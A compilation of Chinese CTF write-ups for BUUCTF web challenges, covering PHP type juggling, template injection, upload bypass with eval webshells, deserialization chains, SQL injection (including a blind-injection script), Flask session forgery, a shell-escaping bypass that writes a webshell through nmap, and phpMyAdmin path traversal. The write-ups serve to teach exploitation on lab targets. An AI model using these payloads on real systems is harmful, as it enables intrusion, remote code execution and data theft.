BUUCTF part-01

[ACTF2020 新生赛]BackupFile

打开靶场
在这里插入图片描述
题目提示去寻找源文件,查看源代码并未发现有什么信息。此时去用御剑扫描一下目录,发现存在文件index.php.bak,访问http://xxx/index.php.bak这个文件,得到源码

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

看一下不难发现是考PHP特性这种的,要求$key为纯数字且经过invtal函数后需要与字符123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3相等,这个字符串的话它的值其实也就是123,这里的话比较是弱比较(两个等号),这里直接输入123,如果有部分过滤的话,也可以使用小数点绕过等来实现绕过

key=123
key=0123
key=123.7

[护网杯 2018]easy_tornado

开启靶场,
在这里插入图片描述
点击hints.txt查看后发现
在这里插入图片描述
这里可以看见给出了一个加密的方式,应该是要用于某个参数
这里的话去看flag.txt
在这里插入图片描述
这里发现flag文件位置,访问一下
在这里插入图片描述
发现msg参数,这里报错error,结合文件题目,想到tornado模板注入(因为tornado是python的一个模板),检测注入

msg={{1*2}

在这里插入图片描述
被ban了,接下来我们需要简单介绍一下这个模板

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了

payload如下

msg={{handler.settings}}

在这里插入图片描述
得到cookie_secret,接下来按照要求格式进行加密即可,

<?php
$cookie='a2c0f0b2-aebb-4908-892e-b976c6ddfdc6';
$file='/fllllllllllllag';
print(md5($cookie+md5($file)));
?>

在这里插入图片描述
赋值后得到flag
在这里插入图片描述

[SUCTF 2019]CheckIn

进入环境
在这里插入图片描述
发现是文件上传,尝试上传文件
在这里插入图片描述
上传php时发现回显后缀不合法,说明后缀格式中ban了php,修改为php
在这里插入图片描述
提示exif_imagetype:not image!
exif_imagetype:not image表示 判断一个图片的类型(即读取一个图像的第一个字节并 检查其签名),这个时候我们可以添加魔术头GIF89a来绕过
在这里插入图片描述
成功上传,但此时内容还没写,我们写个PHP一句话木马进行尝试

<?php
@eval($_POST[1]);
phpinfo();

在这里插入图片描述
发现<和?被ban了,这里的话需要换种方式写马,可以利用script

<script language="php">eval($_POST[1]);</script>

在这里插入图片描述
可以发现成功写入了,但是它是图片马,是无法直接利用的,这个时候我们注意到存在index.php,意味着我们使用user.ini的话,可以对它产生影响,我们这里直接写一个.user.ini文件包含这个图片马,就可以实现真正的写马(.user.ini包含的东西,php文件也会包含,这就意味着木马也写入到了php文件中),但是我们这个index.php已经存在了,无法改变了,所以我们包含的.user.ini需要包含另一个图片,再让这个图片成为图片马,接下来开始写文件
先写.user.ini,内容如下

GIF89a
auto_prepend_file=quan9i.png

在这里插入图片描述
接下来再写图片马,我们已经命名好名字了,即quan9i.png
写马

GIF89a
<script language="php">eval($_POST[1]);</script>

在这里插入图片描述
蚁剑连接
在这里插入图片描述
成功getshell
在这里插入图片描述
源码为

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Upload Labs</title>
</head>

<body>
    <h2>Upload Labs</h2>
    <form action="index.php" method="post" enctype="multipart/form-data">
        <label for="file">文件名:</label>
        <input type="file" name="fileUpload" id="file"><br>
        <input type="submit" name="upload" value="提交">
    </form>
</body>

</html>

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

可以看到就是这几个点

1、后缀不能有ph和htacess
2、内容不能有<和?
3、检验了文件头

[ZJCTF 2019]NiZhuanSiWei

源码如下

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

首个过滤点

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){

这是要求$text非空且$text中的内容为welcome to the zjctf,file_get_contents函数是包含文件的,如果直接写这个字符串的话肯定是不行的,但文件允许是URL格式的,我们这里可以利用伪协议,来使得读取内容为welcome to the zjctf,伪协议的话,这里可以使用data伪协议,或者PHP://input伪协议,接下来分别说一下payload

data伪协议
text=data://text/plain,welcome to the zjctf

php://input伪协议(这个最好用bp发包,因为hackbarPOST上传数据可能出现问题,有时候会传不上去)
text=php://input
POST:
welcome to the zjctf
在这里插入图片描述

在这里插入图片描述
接下来再看第二个点,也就是

if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

$file中不涉及flag关键词时,就会包含$file变量,它提示了useless.php,如果直接包含一个php文件的话,是不会输出文件内容的,那我们想要查看一个文件的具体内容的话,这里可以借助php://filter伪协议来查看文件内容,构造payload如下

file=php://filter/read=convert.base64-encode/resource=useless.php

在这里插入图片描述
对源码进行base64解码得到

<?php   

class Flag{  //flag.php  
    public $file="";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

简单的反序列化,涉及了__tostring魔术方法,这个方法是对象被当做字符串时调用,具体的魔术方法介绍可以看我的这篇文章
零基础入门PHP反序列化
我们可以看到一开始的源码中有这样两行代码

$password = unserialize($password);
        echo $password;

当给password赋值为序列化的对象时,echo这个对象,就是把它当做了字符串,此时就会调用魔术方法__tostring,因此这个魔术方法必定会调用,我们此时看一下魔术方法里的语句,发现它echo file_get_contents($this->file);,此时若file为flag.php,就可以读取文件,因此我们构造EXP如下

<?php  

class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}    
$a=new Flag();
echo serialize($a);
?>

得到序列化的对象

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

赋值给password即可

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

在这里插入图片描述
查看源码
在这里插入图片描述
说一下这里为什么file为useless.php,因此此时文件包含了那个反序列化的类,如果没有它,后面无法进行反序列化

[GYCTF2020]Blacklist

在这里插入图片描述
进入界面,一个输入框,有亿点像强网杯随便注那道题,接着开始尝试注入
首先,检测注入方式

1'

在这里插入图片描述
一眼DJ,单引号包裹
接下来试试堆叠注入

1';show tables;

在这里插入图片描述
成功得到数据表,说明存在堆叠注入

[HCTF 2018]admin

打开环境
在这里插入图片描述
发现登录和注册界面,随便注册一个试一下
在这里插入图片描述
登录一下
在这里插入图片描述
养成好习惯,到一个新界面后看一手源代码在这里插入图片描述
这里提示这个账号不是admin,可能是某种提示,先记下
刚刚发现有三个其他界面,挨个查看一下
post界面
在这里插入图片描述
发现是类似留言板的,看源代码后未发现有什么提示,接下来先往下看
在change这里发现是更改密码的在这里插入图片描述
看一下源代码
发现提示

https://github.com/woadsl1234/hctf_flask/

这里给出了源码
访问后下载得到源码
在源码的templates中的index.html发现这样两行代码

{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>

这里的话不难看出其含义就是当session中的name值为admin时就输出flag,Flask的Session是存在于Cookie中的,具体可以看P神的文章
https://www.leavesongs.com/PENETRATION/client-session-security.html
因此这里的话我们本地是可以拿到这个Session的
在这里插入图片描述
内容如下

.eJw9UE2LwjAQ_SvLnD1YrRfBg5IqLswUl2iYuYjbrZq0caEqtRH_-2YVvL2ZB-_rDtt9U56PML4017IHW_sD4zt8fMMY2H06UlVKblaRmlk0PCRXBBzgDTWPyFU3MhGHYihGnHipUG-8eLLs6ogPrZhVn8O6E7Wx6IoBm6xjz0m8j7nhNF9wR6G24oqW3TL-p6mYuZVFNhKdDVHNba7mR3Lcij6kqDHJdcyipqN_7uWxnMCjB8W52W8vv1V5eleIUepcL6OtOFqIZ7_uo5vGGlRTWLUYsIvWHXpMKGxqUlmXryZPOet3h_Kt9KXE79oXc9r5SMAAenA9l81zM0gSePwBn-9soQ.YyRmrw.59RqrMjivi29xbtCXS-Q6F9aqvc

Session解密脚本如下

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode


def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                        'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                            'decoding the payload')

    return session_json_serializer.loads(payload)


if __name__ == '__main__':
    print(decryption(".eJw9UE2LwjAQ_SvLnD1YrRfBg5IqLswUl2iYuYjbrZq0caEqtRH_-2YVvL2ZB-_rDtt9U56PML4017IHW_sD4zt8fMMY2H06UlVKblaRmlk0PCRXBBzgDTWPyFU3MhGHYihGnHipUG-8eLLs6ogPrZhVn8O6E7Wx6IoBm6xjz0m8j7nhNF9wR6G24oqW3TL-p6mYuZVFNhKdDVHNba7mR3Lcij6kqDHJdcyipqN_7uWxnMCjB8W52W8vv1V5eleIUepcL6OtOFqIZ7_uo5vGGlRTWLUYsIvWHXpMKGxqUlmXryZPOet3h_Kt9KXE79oXc9r5SMAAenA9l81zM0gSePwBn-9soQ.YyRmrw.59RqrMjivi29xbtCXS-Q6F9aqvc".encode()))

在这里插入图片描述
得到解密结果

{'_fresh': True, '_id': b'b2c49860d40b1f76733c11696915c1377efcffd15ffcbb9d180ed4c52d5b276aa2bf5d5a9f88f279bf70b25d08eabda9e1701b81a660e8813590b00901b180eb', 'csrf_token': b'fce926afc4ffbe420763e740332f722c575e4129', 'image': b'D6fk', 'name': '2', 'user_id': '11'}

这里我们将name修改为admin

{'_fresh': True, '_id': b'b2c49860d40b1f76733c11696915c1377efcffd15ffcbb9d180ed4c52d5b276aa2bf5d5a9f88f279bf70b25d08eabda9e1701b81a660e8813590b00901b180eb', 'csrf_token': b'fce926afc4ffbe420763e740332f722c575e4129', 'image': b'D6fk', 'name': 'admin', 'user_id': '11'}

按理说再加密,放进去就可以得到flag
这里的话我们可以利用一个工具来进行加密
https://github.com/noraj/flask-session-cookie-manager
安装很简单,在该目录下打开cmd,然后

python setup.py install

但是此时加密的话还需要一个SECRET_KEY,我们去给的源码中寻找一下
最终在templates下的config.py文件中发现这样一行代码

SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

在这里插入图片描述
因此尝试用ckj123来加密

python flask_session_cookie_manager3.py encode -s "ckj123"  -t"{'_fresh': True, '_id': b'b2c49860d40b1f76733c11696915c1377efcffd15ffcbb9d180ed4c52d5b276aa2bf5d5a9f88f279bf70b25d08eabda9e1701b81a660e8813590b00901b180eb', 'csrf_token': b'fce926afc4ffbe420763e740332f722c575e4129', 'image': b'D6fk', 'name': 'admin', 'user_id': '11'}"

在这里插入图片描述
得到密文

.eJw9UE2LwjAQ_SvLnD1YbS-CByVVXJgpLtGQuUit1SZtXKhKbcT_vlkFb2_mwft6wO7YlpcKJtf2Vg5gZw4wecDXHiag7bclUcdk5zWJuUGlx2QLjyO8o9QJ2fpOKmBfjFmxZcc1yq1jR0bbJuBTx2o91H7Ts9gatMVIq7TXTkfhrjKl42ype_KNYVt02q7CfxazWhhepgnLdIxiYTKxqMjqjuUpRolRJkMWMUv-ubfHagrPARSX9ri7_tbl-VMhRGkyuQq2bGnJTrvNEO0s1KCG_LpDj32w7tFhRH7bkEj7bD19yRmXn8qP0o9gl3dv5py7QEB-cOYMA7hdyva1G0QRPP8AY3JueA.YyRuCQ.Z5eOPh8G68-9luspynCcTNgomBU

此时去网站下修改session,接下来再次访问index界面在这里插入图片描述

[MRCTF2020]套娃

进入环境
在这里插入图片描述
没发现什么东西,看一眼源代码
在这里插入图片描述
注释代码如下

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

可以看见这里的要求是不能够出现_,但想进入下一关的要求是传入变量b_u_p_t,且其值不能23333,同时要求匹配到变量中匹配到23333
这里需要扩充一下知识点,就是当PHP解析字符串的时候,会把字符串转换为有效的变量名,就会做出以下两件事

1.删除前后的空白符(空格符,制表符,换行符等统称为空白符)
2.将某些字符转换为下划线(包括空格)

具体的可以看这位大师傅的文章
https://blog.csdn.net/qq_45521281/article/details/105871192
因此我们这里绕过变量名的话,就可以通过空格来实现,而绕过23333,可以通过换行符来实现,因此构造payload如下

b%20u%20p%20t=23333%0a

在这里插入图片描述
访问这个secrettw.php文件,内容如下

Flag is here~But how to get it?Local access only!
Sorry,you don't have permission! Your ip is :sorry,this way is banned!

伪造X-Forwarded-For即可
在这里插入图片描述
接下来发现没变化,看一眼源代码在这里插入图片描述
直接放控制台运行一下
在这里插入图片描述
注:学习过后了解到这是jsfuck编码,相关文章可参考
https://github.com/aemkei/jsfuck
https://blog.csdn.net/qq_36539075/article/details/79946099
在线解密工具
http://www.jsfuck.com/

接下来它要求我们POST传值,我们传一下
在这里插入图片描述
源代码如下

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>  

发现这个change函数是自己写的算法,那我们直接写个反过来的change,就可以达到想访问的文件

<?php
function change($v){
    $re = '';
    for($i=0;$i<strlen($v);$i++){
        $re .= chr(ord($v[$i])-$i*2);
    }
    $re = base64_encode($re);
    return $re;
}
$flag= change('flag.php');
echo $flag;
?>

得到ZmpdYSZmXGI=
它还要求是127.0.0.1和file_get_contents($_GET['2333']) === 'todat is a happy day',前者用Client-ip绕过,后者用伪协议,最终payload为

2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=
在这里插入图片描述
在这里插入图片描述

[BJDCTF2020]The mystery of ip

在flag处发现伪造XFF可以控制上面的内容在这里插入图片描述
想到SSTI注入,尝试{{1*2}},发现回显的是2,说明确实存在SSTi,尝试平常使用的姿势

{{"".__class__}}

但发现存在报错,无奈学习一下其他师傅的姿势,发现原来SSTI还可以这么用(之前学的确实是肤浅了,现在想想能够解析语句的话,语句执行应该也是不成问题的)

{{phpinfo()}}
在这里插入图片描述
{{system("cat /flag")}}

在这里插入图片描述
得到flag

[CISCN2019 华北赛区 Day2 Web1]Hack World

进入环境
在这里插入图片描述
发现给出了表名和列名,fuzz一下发现过滤了很多
在这里插入图片描述
注释符什么的都不可用,同时自己测试后发现过滤了空格,我们可以用空格来代替,这里既然已知表名和列名,我们就只需要爆破字段信息即可,考虑用布尔盲注,payload如下

id=if(ascii(substr((select(flag)from(flag)),2,1))>100,1,2)

写个脚本

import requests
url="http://25818b33-27bb-49d5-81e6-346512adcf8d.node4.buuoj.cn:81/index.php"
flag=""
for i in range(1,50):
    for j in range(32,127):
        payload = "if(ascii(substr((select(flag)from(flag)),{},1))={},1,2)".format(i,j)
        data={
            "id":payload
        }
        response = requests.post(url,data=data)
        r= response.text
        if "Hello" in r:
            flag += chr(j)
            print(flag)
            break
在这里插入图片描述

[SUCTF 2019]CheckIn

进入界面是上传文件的
在这里插入图片描述
发现只接受图片文件,这里想到两个办法

1、写一个.htaccess文件,将jpg文件以php文件解析(只适用于Apache)
2、如果存在index.php文件,写个.user.ini包含一个1.txt文件,在1.txt文件中写马

但这里后来才发现
在这里插入图片描述
它这里是Nginx,而非Apache
因此采用.user.ini
抓包传文件
在这里插入图片描述
接下来上传txt
在这里插入图片描述
发现过滤了<?,还好,我们可以用另一种写马方式

<script language="php">@eval($_POST[1]);</script>

在这里插入图片描述
访问给出的路径
在这里插入图片描述蚁剑连接
在这里插入图片描述
# [GYCTF2020]Blacklist
进入环境
在这里插入图片描述
先检测一下闭合方式
在这里插入图片描述
单引号包裹,尝试闭合
在这里插入图片描述
查询字段数
在这里插入图片描述
字段数为2
尝试联合查询
在这里插入图片描述
发现ban了一些函数,具体如下

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

这里的话我们就可以需要更换其他注入方式了,尝试一下堆叠注入。
在这里插入图片描述
接下来看一下字段
在这里插入图片描述
发现flag,但show是无法查看字段信息的,这个时候的话可以用预编译,即

#set是设置一个新列
#prepare是进行定义一个语句
#execute是执行
-1';concat('se','t') @sql = concat('se','lect * from `466c616748657265`;);concat('pre','pare' stmt from @sql;);EXECUTE stmt;#

但发现这里过滤了selectprepare以及set,同时添加了i过滤了大小写,这里感觉可以用concat来绕过,但是不知道为啥界面空白,因此我们换一种方法,用handler

 mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够
 一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。
 它是mysql专用的语句,并没有包含到SQL标准中。

执行语句示例如下

handler `表名` open;
handler `表名` read first(next);
handler `表名` close;

这里的话就是

-1';handler `FlagHere` open;handler `FlagHere` read first;handler `FlagHere` close;
在这里插入图片描述

[网鼎杯 2020 青龙组]AreUSerialz

源码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

简单看一下代码,其思路大致如下

1、给变量赋值,开始进入类中
1、__constuct->process(),但是这个里面局部变量限制了值,我们无法控制,因此往后看
2、结束时调用__destruct,指向process(),可控,但这个有条件,需要绕过(op=2是强比较,我们传string的2就可以绕过)
2、当op为2时,指向->read()
3、file_get_contents($filename) //读取某个文件,我们这时候只需要控制$filename即可读取文件,用伪协议即可

思路相对来说是比较简单的,但这里需要注意一点,就是所传参数经过了is_valid函数,具体如下

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

它要求参数中的每个字符的ascii码介于32和125之间
我们直接传参的话,我们会发现这里是protected $op,对于protectedprivate的变量,在序列化后均会生成不可见字符,即%00*%00字符,这个%00字符的Ascii码值为0,这就不符合函数要求了,因此我们这里需要绕过一下,可以把它从protected改为public

<?php

class FileHandler {

    public $op="2";
    public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
    public $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        //$this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        //$this->process();
    }

}
$a=new FileHandler();
echo serialize($a);

在这里插入图片描述
base64解码后得到

<?php $flag='flag{227fc417-d1e9-42a8-bcc1-5be5bc971e9a}';

[RoarCTF 2019]Easy Java

弱密码admin/admin888进入后台,在登录处发现help链接,点击后发现
在这里插入图片描述
发现这里是get传参,然后我们这里尝试post传参
在这里插入图片描述
得到文件help.docx,打开后
在这里插入图片描述
这里想到文件泄露,查看是否存在WEB-INF/web.xml泄露
在这里插入图片描述
读取WEB-INF/classes/com/wm/ctf/FlagController.class
在这里插入图片描述
发现Base64加密的字符串,对其进行解密
在这里插入图片描述
得到flagflag{52883b7a-a9df-4289-9dfb-6b6f7eb2297c}
对于文件泄露,可以参考这篇文章
https://blog.csdn.net/wy_97/article/details/78165051

[BUUCTF 2018]Online Tool

源码如下

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

这里的话主要考点在于函数escapeshellargescapeshellcmd以及nmap的使用,接下来我们借Seebug的例子来看下这两个函数

1、传入的参数是:172.17.0.2' -v -d a=1
2、经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
3、经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
4、最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

举个简单例子

'whoami'
''\''whoami'\'''
''\\''whoami'\\'''

此时就绕过了单引号,突破了限制
我们这里知道nmap可以写入文件,所以我们写入木马文件

'<?php @eval($_POST["hack"]);?> -oG 1.php '
'\'<?php @eval($_POST["hack"]);?> -oG 1.php \''
 '\\'<?php @eval($_POST["hack"]);?> -oG 1.php \\''

最终payload

'<?php @eval($_POST["a"]);?> -oG 1.php '

在这里插入图片描述
使用蚁剑连接对应文件
在这里插入图片描述
查看flag
在这里插入图片描述

[网鼎杯 2020 朱雀组]phpweb

在这里插入图片描述
一眼顶真,应该是用了call_user_func函数,这里直接执行命令在这里插入图片描述
有过滤,在Linux中加\是不影响的,示例
在这里插入图片描述
所以这里直接加\
在这里插入图片描述
没找到flag,直接find查

func=\system&p=find / -name flag*

在这里插入图片描述
最后一个文件疑似flag文件,读一下
在这里插入图片描述

法二

也可以读取源码,命令如下

func=highlight_file&p=index.php

得到源码如下

    <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }

这里可以对他进行一个反序列化,构造Exp如下

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
$pop=new Test();
$pop->func='system';
$pop->p='cat /tmp/f*';
echo urlencode(serialize($pop));
    ?>
在这里插入图片描述

[BSidesCF 2020]Had a bad day

这里出现两个选项在这里插入图片描述
选一个后发现有附加参数在这里插入图片描述
尝试文件包含,读取源码

index.php?category=php://filter/convert.base64-encode/resource=index

在这里插入图片描述
源码如下

              <?php
                $file = $_GET['category'];

                if(isset($file))
                {
                    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
                        include ($file . '.php');
                    }
                    else{
                        echo "Sorry, we currently only support woofers and meowers.";
                    }
                }
                ?>

这里需要有三者之一,随便写一个,然后用../回到上个目录,查看flag即可

index.php?category=php://filter/read=convert.base64-encode/resource=meowers/../flag
在这里插入图片描述

[GWCTF 2019]我有一个数据库

考察CVE-2018-12613,文章参见
https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog
这里主要是二次编码进行一个绕过,然后构造payload

phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../flag
在这里插入图片描述

[BJDCTF2020]Mark loves cat

界面看起来是博客,找不到什么东西,用dirsearch扫

 python3 dirsearch.py -u "http://4ce35270-ec0f-4998-8b82-08d6f47e8db4.node4.buuoj.cn" -e  --timeout=2 -t 1 -x 400,403,404,500,503,429

在这里插入图片描述
.git文件泄露,用GitHack扫描在这里插入图片描述
得到两个php文本,但本地未出现,看了看有师傅说是buu的问题,这里直接看源码了,flag.php里面放的flag,index.php源码如下

<?php

 include 'flag.php';
 print_r($flag);

 $yds = "dog";
 $is = "cat";
 $handsome = 'yds';

 foreach($_POST as $x => $y){ 
     $$x = $y;  

 }

 foreach($_GET as $x => $y){
     $$x = $$y;
 }

 foreach($_GET as $x => $y){
     if($_GET['flag'] === $x && $x !== 'flag'){  
         exit($handsome);
     }
 }

 if(!isset($_GET['flag']) && !isset($_POST['flag'])){
     exit($yds);
 }

 if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
     exit($is);
 }

 echo "the flag is: ".$flag;

变量覆盖,后面三个if对应三种解法,这里用$yds,这个比较简单,看一下他的语句

!isset($_GET['flag']) && !isset($_POST['flag'])

GET不传flag且POST不传flag变量就输出$yds,我们如果让$yds=$flag,此时就可以输出flag,因为是GET传参,所以看这串代码

 foreach($_GET as $x => $y){
     $$x = $$y;
 }

明显,这里进行了一个变量覆盖,比如我们这里赋值$a=1,则

$x=a;$y=1
$$y=$1;
$$x=$1;

所以当我们传值$yds=flag时,它就是

$x=yds;$y=flag;
